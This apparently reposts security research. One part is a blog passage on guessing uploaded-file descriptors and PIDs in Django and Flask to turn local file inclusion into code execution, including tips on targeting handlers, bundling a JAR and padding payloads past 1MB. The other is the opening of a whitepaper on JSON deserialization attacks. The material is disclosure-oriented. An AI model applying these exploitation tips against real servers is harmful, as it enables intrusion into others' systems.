With this approach you can likely guarantee that a file descriptor with a specific number is going to point to your uploaded file. Imagine submitting this request with 100 files instead – chances are file descriptor 50 is your file! In turn, this makes it so that the only value you need to guess is the PID, which is not very random at all. Considerations for Exploitation In summary, this is a method to greatly reduce the search space necessary to reference uploaded files for exploitation purposes, which in turn enables LFI to become RFI in many cases. If you’re looking to use this method for exploitation, consider the following: The frameworks that we have looked at (Django and Flask) lazily load file references when the FILE dictionaries are accessed. As such, you must target request handlers that access the FILES dictionary. Once the FILES dictionary is accessed the file descriptor will remain open for the duration of the request handling. Other frameworks may just populate these file descriptors by default – this is something we’re going to look into more. Some frameworks make no distinction between different request methods when processing an uploaded file in the body of a request (cough cough FLASK cough cough) meaning that this attack is not only limited to non-idempotent HTTP verbs. PIDs are not meant to be randomized. If you’re looking to turn this into an exploit, create a local setup of whatever your target is (Apache on Ubuntu, Nginx on Fedora, etc) and take a look at the PIDs associated with the web servers and request handlers. Generally speaking when you install services into *nix they will be started in similar order upon reboot. As PIDs are assigned in order as well, this means that you can drastically reduce the PID search space. The request handler only has to access the FILES dictionary for all uploaded files to be processed. This is to say that if functionality within a handler expects an uploaded file to be a PDF in order for the request handler’s code to be executed and you want to upload a JAR, then just upload both files – they will both be given file descriptors. Try to find request handlers that (1) load the file descriptors and (2) take a significant amount of time to do whatever they’re intended to. For the purpose of our assessment, we found a handler that was meant to process the entire contents of a file row by row, so we uploaded a huge file to it alongside the JAR we wanted to execute. Note that if the file you’re uploading is small, it may just be read into memory and no file descriptor will be opened. When testing against Flask, we found that files under 1MB were loaded straight into memory whereas files over 1MB were placed on disk and <fdopen>’ed. As such you may need to pad out any exploit payloads accordingly. And that’s all for now. We’ve got a lot more digging to do with this issue and have had a lot of fun assessing the software where we discovered it on, so stay tuned for more shenanigans. **UPDATE** After mulling it over some more, I was wondering why the frameworks we looked at were lazily loading the file descriptors. Surely it wouldn’t make sense to parse the whole contents of an HTTP request body once to get the POST parameters and a second time to get the contents of uploaded files, right?? Sure enough, for both Flask and Django it’s not that the FILES are lazily loaded – it’s that the contents of the request body aren’t processed until accessed. As such, with this attack you can target any request handler that accesses data stored in the request body. As soon as the data contained within the body is accessed, the file descriptors will be populated. Accessing the contents of a request body in Django is shown below: Accessing request body in Django The file descriptor being populated through this access is shown below: File descriptor populated through accessing Django request body Accessing the contents of a request body in Flask is shown below: Accessing the contents of a request body in Flask The file descriptor being populated through this access is shown below: File descriptor populated through Flask body access Woot. Sursa: https://l.avala.mp/?p=241

Friday the 13 JSON Attacks Alvaro Muñoz & Oleksandr Mirosh HPE Software Security Research Introduction Security issues with deserialization of untrusted data in several programming languages have been known for many years. However, it got major attention on 2016 which will be remembered as the year of Java Deserialization apocalypse. Despite being a known attack vector since 2011, the lack of know n classes leading to arbitrary code execution in popular libraries or even the Java Runtime allowed Java Deserialization vulnerabilities fly under the radar for a long time. These classes could be used to execute arbitrary code or run arbitrary processes (remote code execution or RCE gadgets). In 2015 Frohoff and Lawrence published an RCE gadget in the Apache Commons - Collections library which was used by many applications and therefore caught many applications deserializing untrusted data off - guard. The publication of the Apache Commons - Collections gadget was followed by an explosion of new research on gadgets, defense and bypass techniques and by the hunting of vulnerable products/endpoints. Download: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf